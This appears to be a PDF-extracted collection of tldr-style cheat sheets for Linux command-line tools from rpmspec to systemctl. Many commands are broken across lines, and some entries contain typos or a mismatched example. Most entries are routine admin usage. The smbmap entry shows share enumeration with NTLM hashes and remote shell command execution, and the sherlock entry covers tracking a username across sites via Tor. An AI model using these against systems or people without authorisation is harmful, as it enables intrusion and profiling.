• List all options for --queryformat:

rpmspec --querytags

• Get summary information for single binary packages generated from a rpm spec
file:

rpmspec --query --queryformat "{{%{name}: %{summary}\n}}"


{{path/to/rpm.spec}}

• Get the source package which would be generated from a rpm spec file:

rpmspec --query --srpm {{path/to/rpm.spec}}

• Parse a rpm spec file to stdout:

rpmspec --parse {{path/to/rpm.spec}}


rspamc
Command-line client for rspamd servers.

• Train the bayesian filter to recognise an email as spam:

rspamc learn_spam {{path/to/email_file}}

• Train the bayesian filter to recognise an email as ham:

rspamc learn_ham {{path/to/email_file}}

• Generate a manual report on an email:

rspamc symbols {{path/to/email_file}}

• Show server statistics:

rspamc stat
rtcwake
Enter a system sleep state until specified wakeup time relative to your BIOS clock.

• Show whether an alarm is set or not:

sudo rtcwake -m show -v

• Suspend to RAM and wakeup after 10 seconds:

sudo rtcwake -m mem -s {{10}}

• Suspend to disk (higher power saving) and wakeup 15 minutes later:

sudo rtcwake -m disk --date +{{15}}min

• Freeze the system (more efficient than suspend-to-RAM but version 3.9 or newer
of the Linux kernel is required) and wakeup at a given date and time:

sudo rtcwake -m freeze --date {{YYYYMMDDhhmm}}

• Disable a previously set alarm:

sudo rtcwake -m disable

• Perform a dry run to wakeup the computer at a given time. (Press Ctrl + C to
abort):

sudo rtcwake -m on --date {{hh:ss}}


rtorrent
Download torrents over the command-line.

More information: https://github.com/rakshasa/rtorrent.

• Add a torrent file or magnet to be downloaded:

rtorrent {{torrent_or_magnet}}

• Start the download:

<Ctrl>S

• View details about downloading torrent:

->

• Close rtorrent safely:

<Ctrl>Q
run-mailcap
Run MailCap Programs.

Run mailcap view, see, edit, compose, print - execute programs via entries in the mailcap
file (or any of its aliases) will use the given action to process each mime-type/file.

• Individual actions/programs on run-mailcap can be invoked with action flag:

run-mailcap --action=ACTION [--option[=value]]

• In simple language:

run-mailcap --action=ACTION {{filename}}

• Turn on extra information:

run-mailcap --action=ACTION --debug {{filename}}

• Ignore any "copiousoutput" directive and forward output to standard output:

run-mailcap --action=ACTION --nopager {{filename}}

• Display the found command without actually executing it:

run-mailcap --action=ACTION --norun {{filename}}


runcon
Run a program in a different SELinux security context.

With neither context nor command, print the current security context.

More information: https://www.gnu.org/software/coreutils/runcon.

• Determine the current domain:

runcon

• Specify the domain to run a command in:

runcon -t {{domain}}_t {{command}}

• Specify the context role to run a command with:

runcon -r {{role}}_r {{command}}

• Specify the full context to run a command with:

runcon {{user}}_u:{{role}}_r:{{domain}}_t {{command}}


runlim
A tool for sampling and limiting time and memory usage of a program and its child
processes using the proc file system on Linux.

More information: http://fmv.jku.at/runlim.

• Print the time and memory usage of a command:

runlim {{command}} {{command_arguments}}

• Log statistics to a file instead of stdout:

runlim --output-file={{path/to/file}} {{command}}


{{command_arguments}}

• Limit time to an upper bound (in seconds):

runlim --time-limit={{number}} {{command}}


{{command_arguments}}

• Limit real-time to an upper bound (in seconds):

runlim --real-time-limit={{number}} {{command}}


{{command_arguments}}

• Limit space to an upper bound (in MB):

runlim --space-limit={{number}} {{command}}


{{command_arguments}}
runuser
Run commands as a specific user and group without asking for password (needs root
privileges).

• Run command as a different user:

runuser {{user}} -c '{{command}}'

• Run command as a different user and group:

runuser {{user}} -g {{group}} -c '{{command}}'

• Start a login shell as a specific user:

runuser {{user}} -l

• Specify a shell for running instead of the default shell (also works for login):

runuser {{user}} -s {{/bin/sh}}

• Preserve the entire environment of root (only if --login is not specified):

runuser {{user}} --preserve-environment -c '{{command}}'


rusnapshot
BTRFS snapshotting utility written in Rust.

More information: https://github.com/Edu4rdSHL/rusnapshot.

• Create a snapshot using a config file:

sudo rusnapshot --config {{path/to/config.toml}} --cr

• List created snapshots:

sudo rusnapshot -c {{path/to/config.toml}} --list

• Delete a snapshot by ID or the name of the snapshot:

sudo rusnapshot -c {{path/to/config.toml}} --del --id


{{snapshot_id}}

• Delete all hourly snapshots:

sudo rusnapshot -c {{path/to/config.toml}} --list --keep


{{0}} --clean --kind {{hourly}}

• Create a read-write snapshot:

sudo rusnapshot -c {{path/to/config.toml}} --cr --rw

• Restore a snapshot:

sudo rusnapshot -c {{path/to/config.toml}} --id


{{snapshot_id}} --restore
sa
Summarizes accounting information. Part of the acct package.

Shows commands called by users, including basic info on CPU time spent processing and
I/O rates.

• Display executable invocations per user (username not displayed):

sudo sa

• Display executable invocations per user, showing responsible usernames:

sudo sa --print-users

• List resources used recently per user:

sudo sa --user-summary
sacct
Display accounting data from the Slurm service.

More information: https://slurm.schedmd.com/sacct.html.

• Display job id, job name, partition, account, number of allocated cpus, job state,
and job exit codes for recent jobs:

sacct

• Display job id, job state, job exit code for recent jobs:

sacct --brief

• Display the allocations of a job:

sacct --jobs {{job_id}} --allocations

• Display elapsed time, job name, number of requested CPUs, and memory
requested of a job:

sacct --jobs {{job_id}} --format={{elapsed}},{{jobname}},


{{reqcpus}},{{reqmem}}
sacctmgr
View, setup, and manage Slurm accounts.

More information: https://slurm.schedmd.com/sacctmgr.html.

• Show current configuration:

sacctmgr show configuration

• Add a cluster to the slurm database:

sacctmgr add cluster {{cluster_name}}

• Add an account to the slurm database:

sacctmgr add account {{account_name}}


cluster={{cluster_of_account}}

• Show details of user/association/cluster/account using a spcific format:

sacctmgr show {{user|association|cluster|account}}


format="Accout%10" format="GrpTRES%30"
sam
AWS Serverless Application Model (SAM) CLI.

More information: https://github.com/awslabs/aws-sam-cli.

• Initialize a serverless application:

sam init

• Initialize a serverless application with a specific runtime:

sam init --runtime {{python3.7}}

• Package a SAM application:

sam package

• Build your Lambda function code:

sam build

• Run your serverless application locally:

sam local start-api

• Deploy an AWS SAM application:

sam deploy
sar
Monitor performance of various Linux subsystems.

• Report I/O and transfer rate issued to physical devices, one per second (press
CTRL+C to quit):

sar -b {{1}}

• Report a total of 10 network device statistics, one per 2 seconds:

sar -n DEV {{2}} {{10}}

• Report CPU utilization, one per 2 seconds:

sar -u ALL {{2}}

• Report a total of 20 memory utilization statistics, one per second:

sar -r ALL {{1}} {{20}}

• Report the run queue length and load averages, one per second:

sar -q {{1}}

• Report paging statistics, one per 5 seconds:

sar -B {{5}}
sbatch
Submit a batch job to the SLURM scheduler.

• Submit a batch job:

sbatch {{path/to/job.sh}}

• Submit a batch job with a custom name:

sbatch --job-name={{myjob}} {{path/to/job.sh}}

• Submit a batch job with a time limit of 30 minutes:

sbatch --time={{00:30:00}} {{path/to/job.sh}}

• Submit a job and request multiple nodes:

sbatch --nodes={{3}} {{path/to/job.sh}}


scancel
Cancel a Slurm job.

More information: https://slurm.schedmd.com/scancel.html.

• Cancel a job using its ID:

scancel {{job_id}}

• Cancel all jobs from a user:

scancel {{user_name}}
scanimage
Scan images with the Scanner Access Now Easy API.

More information: http://sane-project.org/man/scanimage.1.html.

• List available scanners to ensure the target device is connected and recognized:

scanimage -L

• Scan an image and save it to a file:

scanimage --format={{pnm|tiff|png|jpeg}} > {{path/to/


new_image}}
schroot
Run command or start an interactive shell with a different root directory. More
customizable than chroot.

More information: https://wiki.debian.org/Schroot.

• Run a command in a specific chroot:

schroot --chroot {{chroot}} {{command}}

• Run a command with options in a specific chroot:

schroot --chroot {{chroot}} {{command}} --


{{command_options}}

• Run a command in all available chroots:

schroot --all {{command}}

• Start an interactive shell within a specific chroot as a specific user:

schroot --chroot {{chroot}} --user {{user}}

• List available chroots:

schroot --list
scontrol
View information about and modify jobs.

More information: https://slurm.schedmd.com/scontrol.html.

• Show information for job:

scontrol show job {{job_id}}

• Suspend a comma-separated list of running jobs:

scontrol suspend {{job_id}}

• Resume a comma-separated list of suspended jobs:

scontrol resume {{job_id}}

• Hold a comma-separated list of queued jobs (Use release command to permit


the jobs to be scheduled):

scontrol hold {{job_id}}

• Release a comma-separated list of suspended job:

scontrol release {{job_id}}


screenkey
A screencast tool to display keys pressed.

More information: https://www.thregr.org/~wavexx/software/screenkey/.

• Display keys which are currently being pressed on the screen:

screenkey

• Display keys and mouse buttons which are currently being pressed on the screen:

screenkey --mouse

• Launch the settings menu of screenkey:

screenkey --show-settings

• Launch screenkey at a specific position:

screenkey --position {{top|center|bottom|fixed}}

• Change the format of the key modifiers displayed on screen:

screenkey --mods-mode {{normal|emacs|mac|win|tux}}

• Change the appearance of screenkey:

screenkey --bg-color "{{#a1b2c3}}" --font {{Hack}} --font-


color {{yellow}} --opacity {{0.8}}

• Drag and select a window on screen to display screenkey:

screenkey --position fixed --geometry {{$(slop -n -f '%g')}}


script
Record all terminal output to file.

• Record a new session to a file named typescript in the current directory:

script

• Record a new session to a custom filepath:

script {{path/to/session.out}}

• Record a new session, appending to an existing file:

script -a {{path/to/session.out}}

• Record timing information (data is outputted to the standard error):

script -t 2> {{path/to/timingfile}}


scriptreplay
Replay a typescript created by the script command to the standard output.

• Replay a typescript at the speed it was recorded:

scriptreplay {{path/to/timing_file}} {{path/to/typescript}}

• Replay a typescript at double the original speed:

scriptreplay {{path/to/timingfile}} {{path/to/typescript}} 2

• Replay a typescript at half the original speed:

scriptreplay {{path/to/timingfile}} {{path/to/typescript}}


0.5
scrot
Screen capture utility.

More information: https://github.com/resurrecting-open-source-projects/scrot.

• Capture a screenshot and save it to the current directory with the current date as
the filename:

scrot

• Capture a screenshot and save it as capture.png:

scrot {{capture.png}}

• Capture a screenshot interactively:

scrot --select

• Capture a screenshot from the currently focused window:

scrot --focused

• Display a countdown of 10 seconds before taking a screenshot:

scrot --count --delay {{10}}


see
Alias to run-mailcap's view.

An alias to a run-mailcap's action print.

• See action can be used to view any file (usually image) on default mailcap
explorer:

see {{filename}}

• Using with run-mailcap:

run-mailcap --action=view {{filename}}


semanage
SELinux Policy Management tool.

More information: https://manned.org/semanage.

• Output local customizations:

semanage -S {{store}} -o {{path/to/output_file}}

• Take a set of commands from a specified file and load them in a single transaction:

semanage -S {{store}} -i {{path/to/input_file}}

• Manage booleans. Booleans allow the administrator to modify the confinement of


processes based on the current configuration:

semanage boolean -S {{store}} {{--delete|--modify|--list|--


noheading|--deleteall}} {{-on|-off}} -F {{boolean|
boolean_file}}

• Manage policy modules:

semanage module -S {{store}} {{--add|--delete|--list|--


modify}} {{--enable|--disable}} {{module_name}}

• Disable/Enable dontaudit rules in policy:

semanage dontaudit -S {{store}} {{on|off}}


sensible-browser
Open the default browser.

• Open a new window of the default browser:

sensible-browser

• Open a URL in the default browser:

sensible-browser {{url}}
sensible-editor
Open the default editor.

• Open a file in the default editor:

sensible-editor {{file}}

• Open a file in the default editor, with the cursor at the end of the file:

sensible-editor + {{file}}

• Open a file in the default editor, with the cursor at the beginning of line 10:

sensible-editor +10 {{file}}

• Open 3 files in vertically split editor windows at the same time:

sensible-editor -O3 {{file_1}} {{file_2}} {{file_3}}


sensors
Report sensors information.

• Show the current readings of all sensor chips:

sensors

• Show temperatures in degrees Fahrenheit:

sensors --fahrenheit
service
Manage services by running init scripts.

The full script path should be omitted (/etc/init.d/ is assumed).

• List the name and status of all services:

service --status-all

• Start/Stop/Restart/Reload service (start/stop should always be available):

service {{service_name}} {{start|stop|restart|reload}}

• Do a full restart (runs script twice with start and stop):

service {{service_name}} --full-restart

• Show the current status of a service:

service {{service_name}} status


setfacl
Set file access control lists (ACL).

• Modify ACL of a file for user with read and write access:

setfacl -m u:{{username}}:rw {{file}}

• Modify default ACL of a file for all users:

setfacl -d -m u::rw {{file}}

• Remove ACL of a file for a user:

setfacl -x u:{{username}} {{file}}

• Remove all ACL entries of a file:

setfacl -b {{file}}
setxkbmap
Set the keyboard using the X Keyboard Extension.

• Set the keyboard in French AZERTY:

setxkbmap {{fr}}

• Set multiple keyboard layouts, their variants and switching option:

setxkbmap -layout {{us,de}} -variant {{,qwerty}} -option


{{'grp:alt_caps_toggle'}}

• Get help:

setxkbmap -help

• List all layouts:

localectl list-x11-keymap-layouts

• List variants for the layout:

localectl list-x11-keymap-variants {{de}}

• List available switching options:

localectl list-x11-keymap-options | grep grp:


sfill
Securely overwrite the free space and inodes of the partition where the specified
directory resides.

More information: https://manned.org/sfill.

• Overwrite free space and inodes of a disk with 38 writes (slow but secure):

sfill {{/path/to/mounted_disk_directory}}

• Overwrite free space and inodes of a disk with 6 writes (fast but less secure) and
show status:

sfill -l -v {{/path/to/mounted_disk_directory}}

• Overwrite free space and inodes of a disk with 1 write (very fast but insecure) and
show status:

sfill -ll -v {{/path/to/mounted_disk_directory}}

• Overwrite only free space of a disk:

sfill -I {{/path/to/mounted_disk_directory}}

• Overwrite only free inodes of a disk:

sfill -i {{/path/to/mounted_disk_directory}}
sherlock
Find usernames across social networks.

More information: https://github.com/sherlock-project/sherlock.

• Search for a specific username on social networks saving the results to a file:

sherlock {{username}} --output {{path/to/file}}

• Search for specific usernames on social networks saving the results into a
directory:

sherlock {{username1 username2 ...}} --folderoutput {{path/


to/directory}}

• Search for a specific username on social networks using the Tor network:

sherlock --tor {{username}}

• Make requests over Tor with a new Tor circuit after each request:

sherlock --unique-tor {{username}}

• Search for a specific username on social networks using a proxy:

sherlock {{username}} --proxy {{proxy_url}}

• Search for a specific username on social networks and open results in the default
web browser:

sherlock {{username}} --browse

• Display help:

sherlock --help
shiny-mirrors
Generate a pacman mirror list for Manjaro Linux.

Every run of shiny-mirrors requires you to synchronize your database and update your
system using sudo pacman -Syyu.

More information: https://gitlab.com/Arisa_Snowbell/shiny-mirrors/-/blob/domina/


shiny-mirrors/man/shiny-mirrors.md.

• Get the status of the current mirrors:

shiny-mirrors status

• Generate a mirror list using the default behavior:

sudo shiny-mirrors refresh

• Display the current configuration file:

shiny-mirrors config show

• Switch to a different branch interactively:

sudo shiny-mirrors config --branch


shutdown
Shutdown and reboot the system.

More information: https://manned.org/shutdown.8.

• Power off (halt) immediately:

shutdown -h now

• Reboot immediately:

shutdown -r now

• Reboot in 5 minutes:

shutdown -r +{{5}} &

• Shutdown at 1:00 pm (Uses 24h clock):

shutdown -h 13:00

• Cancel a pending shutdown/reboot operation:

shutdown -c
sic
Simple IRC client.

Part of the suckless tools.

More information: https://tools.suckless.org/sic/.

• Connect to the default host (irc.ofct.net) with the nickname set in the $USER
environment variable:

sic

• Connect to a given host, using a given nickname:

sic -h {{host}} -n {{nickname}}

• Connect to a given host, using a given nickname and password:

sic -h {{host}} -n {{nickname}} -k {{password}}

• Join a channel:

:j #{{channel}}<Enter>

• Send a message to a channel or user:

:m #{{channel|user}}<Enter>

• Set default channel or user:

:s #{{channel|user}}<Enter>
silentcast
Silent screencast creator. Saves in .mkv and animated GIF formats.

More information: https://github.com/colinkeenan/silentcast.

• Launch silentcast:

silentcast

• Launch silentcast on a specific display:

silentcast --display={{display}}
sinfo
View information about Slurm nodes and partitions.

See also squeue and sbatch, which are also part of the Slurm workload manager.

More information: https://slurm.schedmd.com/sinfo.html.

• Show a quick summary overview of the cluster:

sinfo --summarize

• View the detailed status of all partitions across the entire cluster:

sinfo

• View the detailed status of a specific partition:

sinfo --partition {{partition_name}}

• View information about idle nodes:

sinfo --states {{idle}}

• Summarise dead nodes:

sinfo --dead

• List dead nodes and the reasons why:

sinfo --list-reasons
slapt-get
An apt like system for Slackware package management.

Package sources need to be configured in the slapt-getrc file.

• Update the list of available packages and versions:

slapt-get --update

• Install a package, or update it to the latest available version:

slapt-get --install {{package_name}}

• Remove a package:

slapt-get --remove {{package_name}}

• Upgrade all installed packages to their latest available versions:

slapt-get --upgrade

• Locate packages by the package name, disk set, or version:

slapt-get --search {{package_name}}

• Show information about a package:

slapt-get --show {{package_name}}


slapt-src
A utility to automate building of slackbuilds.

SlackBuild sources need to be configured in the slapt-srcrc file.

More information: https://github.com/jaos/slapt-src.

• Update the list of available slackbuilds and versions:

slapt-src --update

• List all available slackbuilds:

slapt-src --list

• Fetch, build and install the specified slackbuild(s):

slapt-src --install {{slackbuild_name}}

• Locate slackbuilds by their name or description:

slapt-src --search {{search_term}}

• Display information about a slackbuild:

slapt-src --show {{slackbuild_name}}


slop
Get a selection of the screen.

More information: https://github.com/naelstrof/slop.

• Wait for the user to make a selection and output its geometry to standard output:

slop

• Double click, rather than click and drag, to draw a selection:

slop -D

• Highlight the selection rather than outlining it:

slop -l

• Specify the output format:

slop -f {{format_string}}

• Specify the selection rectangle's color:

slop -c {{red}},{{green}},{{blue}},{{alpha}}
sm
Displays a short message fullscreen.

More information: https://github.com/nomeata/screen-message.

• Display a message in full-screen:

sm "{{Hello World!}}"

• Display a message with inverted colors:

sm -i "{{Hello World!}}"

• Display a message with a custom foreground color:

sm -f {{blue}} "{{Hello World!}}"

• Display a message with a custom background color:

sm -b {{#008888}} "{{Hello World!}}"

• Display a message rotated 3 times (in steps of 90 degrees, counterclockwise):

sm -r {{3}} "{{Hello World!}}"

• Display a message using the output from another command:

{{echo "Hello World!"}} | sm -


smbclient
FTP-like client to access SMB/CIFS resources on servers.

• Connect to a share (user will be prompted for password; exit to quit the session):

smbclient {{//server/share}}

• Connect with a different username:

smbclient {{//server/share}} --user {{username}}

• Connect with a different workgroup:

smbclient {{//server/share}} --workgroup {{domain}} --user


{{username}}

• Connect with a username and password:

smbclient {{//server/share}} --user {{username%password}}

• Download a file from the server:

smbclient {{//server/share}} --directory {{path/to/


directory}} --command "get {{file.txt}}"

• Upload a file to the server:

smbclient {{//server/share}} --directory {{path/to/


directory}} --command "put {{file.txt}}"
smbget
wget-like utility for downloading files from SMB servers.

More information: https://www.samba.org/samba/docs/current/man-html/smbget.


1.html.

• Download a file from a server:

smbget {{smb://server/share/file}}

• Download a share or directory recursively:

smbget --recursive {{smb://server/share}}

• Connect with a username and password:

smbget {{smb://server/share/file}} --user


{{username%password}}

• Require encrypted transfers:

smbget {{smb://server/share/file}} --encrypt


smbmap
SMB enumeration tool.

More information: https://github.com/ShawnDEvans/smbmap.

• Display SMB shares and permissions on a host, prompting for user's password or
NTLM hash:

smbmap -u {{username}} --prompt -H {{ip}}

• Display SMB shares and permissions on a host, specifying the domain and passing
the password NTLM hash:

smbmap -u {{username}} --prompt -d {{domain}} -H {{ip}}

• Display SMB shares and list a single level of directories and files:

smbmap -u {{username}} --prompt -H {{ip}} -r

• Display SMB shares and recursively list a defined number of levels of directories
and files:

smbmap -u {{username}} --prompt -H {{ip}} -R --depth {{3}}

• Display SMB shares and recursively list directories and files, downloading the files
matching a regular expression:

smbmap -u {{username}} --prompt -H {{ip}} -R -A {{pattern}}

• Display SMB shares and recursively list directories and files, searching for file
content matching a regular expression:

smbmap -u {{username}} --prompt -H {{ip}} -R -F {{pattern}}

• Execute a shell command on a remote system:

smbmap -u {{username}} --prompt -H {{ip}} -x {{command}}

• Upload a file to a remote system:

smbmap -u {{username}} --prompt -H {{ip}} --upload {{source}}


{{destination}}
smbpasswd
Add/remove a Samba user or change its password.

Samba users must have an existing local Unix account.

More information: https://manned.org/smbpasswd.8.

• Change the current user's SMB password:

smbpasswd

• Add a specified user to Samba and set password (user should already exist in
system):

sudo smbpasswd -a {{username}}

• Modify an existing Samba user's password:

sudo smbpasswd {{username}}

• Delete a Samba user (use pdbedit instead if the Unix account has been deleted):

sudo smbpasswd -x {{username}}


snake4
Snake game in the terminal.

More information: https://manpages.debian.org/snake4/snake4.6.en.html.

• Start a snake game:

snake4

• Choose level:

{{1|2|3|4|5}}

• Navigate the snake:

{{Up|Down|Left|Right}} arrow key

• Pause game:

Spacebar

• Quit game:

• Show the high scores:

snake4 --highscores
snake4scores
Show the high scores from the snake4 game.

More information: https://manpages.debian.org/snake4/snake4.6.en.html.

• Show the highscores:

snake4scores
snap
Tool for managing the "snap" self-contained software packages.

Similar to what apt is for ".deb".

• Search for a package:

snap find {{package_name}}

• Install a package:

snap install {{package_name}}

• Update a package:

snap refresh {{package_name}}

• Update a package to another channel (track, risk, or branch):

snap refresh {{package_name}} --channel={{channel}}

• Update all packages:

snap refresh

• Display basic information about installed snap software:

snap list

• Uninstall a package:

snap remove {{package_name}}

• Check for recent snap changes in the system:

snap changes
snapper
Filesystem snapshot management tool.

More information: http://snapper.io/manpages/snapper.html.

• List snapshot configs:

snapper list-configs

• Create snapper config:

snapper -c {{config}} create-config {{path/to/directory}}

• Create a snapshot with a description:

snapper -c {{config}} create -d "{{snapshot_description}}"

• List snapshots for a config:

snapper -c {{config}} list

• Delete a snapshot:

snapper -c {{config}} delete {{snapshot_number}}

• Delete a range of snapshots:

snapper -c {{config}} delete {{snapshot_X}}-{{snapshot_Y}}


snmpwalk
SNMP query tool.

More information: https://manned.org/snmpwalk.

• Query the system information of a remote host using SNMPv1 and a community
string:

snmpwalk -v1 -c {{community}} {{ip}}

• Query system information on a remote host by OID using SNMPv2 on a specified


port:

snmpwalk -v2c -c {{community}} {{ip}}:{{port}} {{oid}}

• Query system information on a remote host by OID using SNMPv3 and


authentication without encryption:

snmpwalk -v3 -l {{authNoPriv}} -u {{username}} -a {{MD5|SHA}}


-A {{passphrase}} {{ip}} {{oid}}

• Query system information on a remote host by OID using SNMPv3,


authentication, and encryption:

snmpwalk -v3 -l {{authPriv}} -u {{username}} -a {{MD5|SHA}} -


A {{auth_passphrase}} -x {{DES|AES}} -X {{enc_passphrase}}
{{ip}} {{oid}}

• Query system information on a remote host by OID using SNMPv3 without


authentication or encryption:

snmpwalk -v3 -l {{noAuthNoPriv}} -u {{username}} {{ip}}


{{oid}}
spectre-meltdown-checker
Spectre and Meltdown mitigation detection tool.

More information: https://manned.org/spectre-meltdown-checker.

• Check the currently running kernel for Spectre or Meltdown:

sudo spectre-meltdown-checker

• Check the currently running kernel and show an explanation of the actions to take
to mitigate a vulnerability:

sudo spectre-meltdown-checker --explain

• Check for specific variants (defaults to all):

sudo spectre-meltdown-checker --variant {{1|2|3|3a|4|l1tf|


msbds|mfbds|mlpds|mdsum|taa|mcespc|srbds}}

• Display output using a specific output format:

sudo spectre-meltdown-checker --batch {{text|json|nrpe|


prometheus|short}}

• Don't use the /sys interface even if present:

sudo spectre-meltdown-checker --no-sysfs

• Check a non-running kernel:

sudo spectre-meltdown-checker --kernel {{path/to/


kernel_file}}
speedometer
Python script that shows a network traffic graph in the terminal.

More information: http://excess.org/speedometer.

• Show graph for a specific interface:

speedometer -r {{eth0}} -t {{eth0}}


spi
A meta package manager that handles both packages and slackbuilds.

More information: https://github.com/gapan/spi.

• Update the list of available packages and slackbuilds:

spi --update

• Install a package or slackbuild:

spi --install {{package/slackbuild_name}}

• Upgrade all installed packages to the latest versions available:

spi --upgrade

• Locate packages or slackbuilds by package name or description:

spi {{search_terms}}

• Display information about a package or slackbuild:

spi --show {{package/slackbuild_name}}

• Purge the local package and slackbuild caches:

spi --clean
squeue
View the jobs queued in the SLURM scheduler.

• View the queue:

squeue

• View jobs queued by a specific user:

squeue -u {{username}}

• View the queue and refresh every 5 seconds:

squeue -i {{5}}

• View the queue with expected start times:

squeue --start
sreport
Generate reports on jobs, users, and clusters from accounting data.

More information: https://slurm.schedmd.com/sreport.html.

• Show pipe delimited cluster utilization data:

sreport --parsable cluster utilization

• Show number of jobs run:

sreport job sizes printjobcount

• Show users with the highest CPU time use:

sreport user topuser


srun
Create an interactive slurm job or connect to an existing job.

More information: https://slurm.schedmd.com/srun.html.

• Submit a basic interactive job:

srun --pty /bin/bash

• Submit an interactive job with different attributes:

srun --ntasks-per-node={{num_cores}} --mem-per-


cpu={{memory_MB}} --pty /bin/bash

• Connect to a worker node with a job running:

srun --jobid={{job_id}} --pty /bin/bash


ss
Utility to investigate sockets.

More information: https://manned.org/ss.8.

• Show all TCP/UDP/RAW/UNIX sockets:

ss -a {{-t|-u|-w|-x}}

• Filter TCP sockets by states, only/exclude:

ss {{state/exclude}} {{bucket/big/connected/
synchronized/...}}

• Show all TCP sockets connected to the local HTTPS port (443):

ss -t src :{{443}}

• Show all TCP sockets listening on the local 8080 port:

ss -lt src :{{8080}}

• Show all TCP sockets along with processes connected to a remote ssh port:

ss -pt dst :{{ssh}}

• Show all UDP sockets connected on specific source and destination ports:

ss -u 'sport == :{{source_port}} and dport == :


{{destination_port}}'

• Show all TCP IPv4 sockets locally connected on the subnet 192.168.0.0/16:

ss -4t src {{192.168/16}}


sstat
View information about running jobs.

More information: https://slurm.schedmd.com/sstat.html.

• Display status information of a comma-separated list of jobs:

sstat --jobs={{job_id}}

• Display job ID, average CPU and average virtual memory size of a comma-
separated list of jobs, with pipes as column delimiters:

sstat --parsable --jobs={{job_id}} --format={{JobID}},


{{AveCPU}},{{AveVMSize}}

• Display list of fields available:

sstat --helpformat
st
A simple terminal emulator for the X Window System.

More information: https://st.suckless.org.

• Open a terminal:

st

• Open a terminal with a specific title:

st -T {{title}}

• Open a terminal, execute a given command, and write the output to a file:

st -o {{path/to/file}} -e {{command argument1 argument2}}

• Increase/decrease the font size:

Ctrl + Shift + {{Page Up|Page Down}}

• Copy/paste from the clipboard:

Ctrl + Shift + {{C|V}}


steghide
Steganography tool for JPEG, BMP, WAV and AU file formats.

More information: https://github.com/StefanoDeVuono/steghide.

• Embed data in a PNG, prompting for a passphrase:

steghide embed --coverfile {{path/to/image.png}} --embedfile


{{path/to/data.txt}}

• Extract data from a WAV audio file:

steghide extract --stegofile {{path/to/sound.wav}}

• Display file information, trying to detect an embedded file:

steghide info {{path/to/file.jpg}}

• Embed data in a JPEG image, using maximum compression:

steghide embed --coverfile {{path/to/image.jpg}} --embedfile


{{path/to/data.txt}} --compress {{9}}

• Get the list of supported encryption algorithms and modes:

steghide encinfo

• Embed encrypted data in a JPEG image, e.g. with Blowfish in CBC mode:

steghide embed --coverfile {{path/to/image.jpg}} --embedfile


{{path/to/data.txt}} --encryption {{blowfish|...}}
{{cbc|...}}
strace
Troubleshooting tool for tracing system calls.

• Start tracing a specific process by its PID:

strace -p {{pid}}

• Trace a process and filter output by system call:

strace -p {{pid}} -e {{system_call_name}}

• Count time, calls, and errors for each system call and report a summary on
program exit:

strace -p {{pid}} -c

• Show the time spent in every system call:

strace -p {{pid}} -T

• Start tracing a program by executing it:

strace {{program}}

• Start tracing file operations of a program:

strace -e trace=file {{program}}


stress
A tool to stress test CPU, memory, and IO on a Linux system.

• Spawn 4 workers to stress test CPU:

stress -c {{4}}

• Spawn 2 workers to stress test IO and timeout after 5 seconds:

stress -i {{2}} -t {{5}}

• Spawn 2 workers to stress test memory (each worker allocates 256M bytes):

stress -m {{2}} --vm-bytes {{256M}}

• Spawn 2 workers spinning on write()/unlink() (each worker writes 1G bytes):

stress -d {{2}} --hdd-bytes {{1GB}}


strip
Discard symbols from executables or object files.

More information: https://manned.org/strip.

• Replace the input file with its stripped version:

strip {{path/to/file}}

• Strip symbols from a file, saving the output to a specific file:

strip {{path/to/input_file}} -o {{path/to/output_file}}

• Strip debug symbols only:

strip --strip-debug {{path/to/file.o}}


swapoff
Disables device or file for swapping.

More information: https://manned.org/swapoff.

• Disable a given swap partition:

swapoff {{/dev/sdb7}}

• Disable a given swap file:

swapoff {{path/to/file}}

• Disable all swap areas:

swapoff -a

• Disable swap by label of a device or file:

swapoff -L {{swap1}}
swapon
Enables device or file for swapping.

More information: https://manned.org/swapon.

• Get swap information:

swapon -s

• Enable a given swap partition:

swapon {{/dev/sdb7}}

• Enable a given swap file:

swapon {{path/to/file}}

• Enable all swap areas:

swapon -a

• Enable swap by label of a device or file:

swapon -L {{swap1}}
swupd
Package management utility for Clear Linux.

More information: https://docs.01.org/clearlinux/latest/guides/clear/swupd.html.

• Update to the latest version:

sudo swupd update

• Show current version, and check whether a newer one exists:

swupd check-update

• List installed bundles:

swupd bundle-list

• Locate the bundle where a wanted package exists:

swupd search -b {{package}}

• Install a new bundle:

sudo swupd bundle-add {{bundle}}

• Remove a bundle:

sudo swupd bundle-remove {{bundle}}

• Correct broken or missing files:

sudo swupd verify


sxiv
Simple X Image Viewer.

More information: https://github.com/muennich/sxiv.

• Open an image:

sxiv {{path/to/file}}

• Open an image in fullscreen mode:

sxiv -f {{path/to/file}}

• Open a newline-separated list of images, reading filenames from standard input:

echo {{path/to/file}} | sxiv -i

• Open a space-separated list of images as a slideshow:

sxiv -S {{seconds}} {{path/to/file}}

• Open a space-separated list of images in thumbnail mode:

sxiv -t {{path/to/file}}
synopkg
Package management utility for Synology DiskStation Manager.

More information: https://www.synology.com/dsm.

• List the names of installed packages:

synopkg list --name

• List packages which depend on a specific package:

synopkg list --depend-on {{package}}

• Start/Stop a package:

sudo synopkg {{start|stop}} {{package}}

• Print the status of a package:

synopkg status {{package}}

• Uninstall a package:

sudo synopkg uninstall {{package}}

• Check if updates are available for a package:

synopkg checkupdate {{package}}

• Upgrade all packages to the latest version:

sudo synopkg upgradeall

• Install a package from a synopkg file:

sudo synopkg install {{path/to/package.spk}}


synoupgrade
Upgrade a Synology DiskStation Manager (DSM) from the command-line.

More information: https://www.synology.com/dsm.

• Check if upgrades are available:

sudo synoupgrade --check

• Check for patches without upgrading the DSM version:

sudo synoupgrade --check-smallupdate

• Download the latest upgrade available (use --download-smallupdate for


patches):

sudo synoupgrade --download

• Start the upgrade process:

sudo synoupgrade --start

• Upgrade to the latest version automatically:

sudo synoupgrade --auto

• Apply patches without upgrading the DSM version automatically:

sudo synoupgrade --auto-smallupdate

• Upgrade the DSM using a patch file (should be an absolute path):

sudo synoupgrade --patch {{/path/to/file.pat}}

• Display help:

synoupgrade
sysctl
List and change kernel runtime variables.

• Show all available variables and their values:

sysctl -a

• Set a changeable kernel state variable:

sysctl -w {{section.tunable}}={{value}}

• Get currently open file handlers:

sysctl fs.file-nr

• Get limit for simultaneous open files:

sysctl fs.file-max

• Apply changes from /etc/sysctl.conf:

sysctl -p
systemctl
Control the systemd system and service manager.

More information: https://www.freedesktop.org/software/systemd/man/systemctl.html.

• Show all running services:

systemctl status

• List failed units:

systemctl --failed

• Start/Stop/Restart/Reload a service:

systemctl {{start|stop|restart|reload}} {{unit}}

• Show the status of a unit:

systemctl status {{unit}}

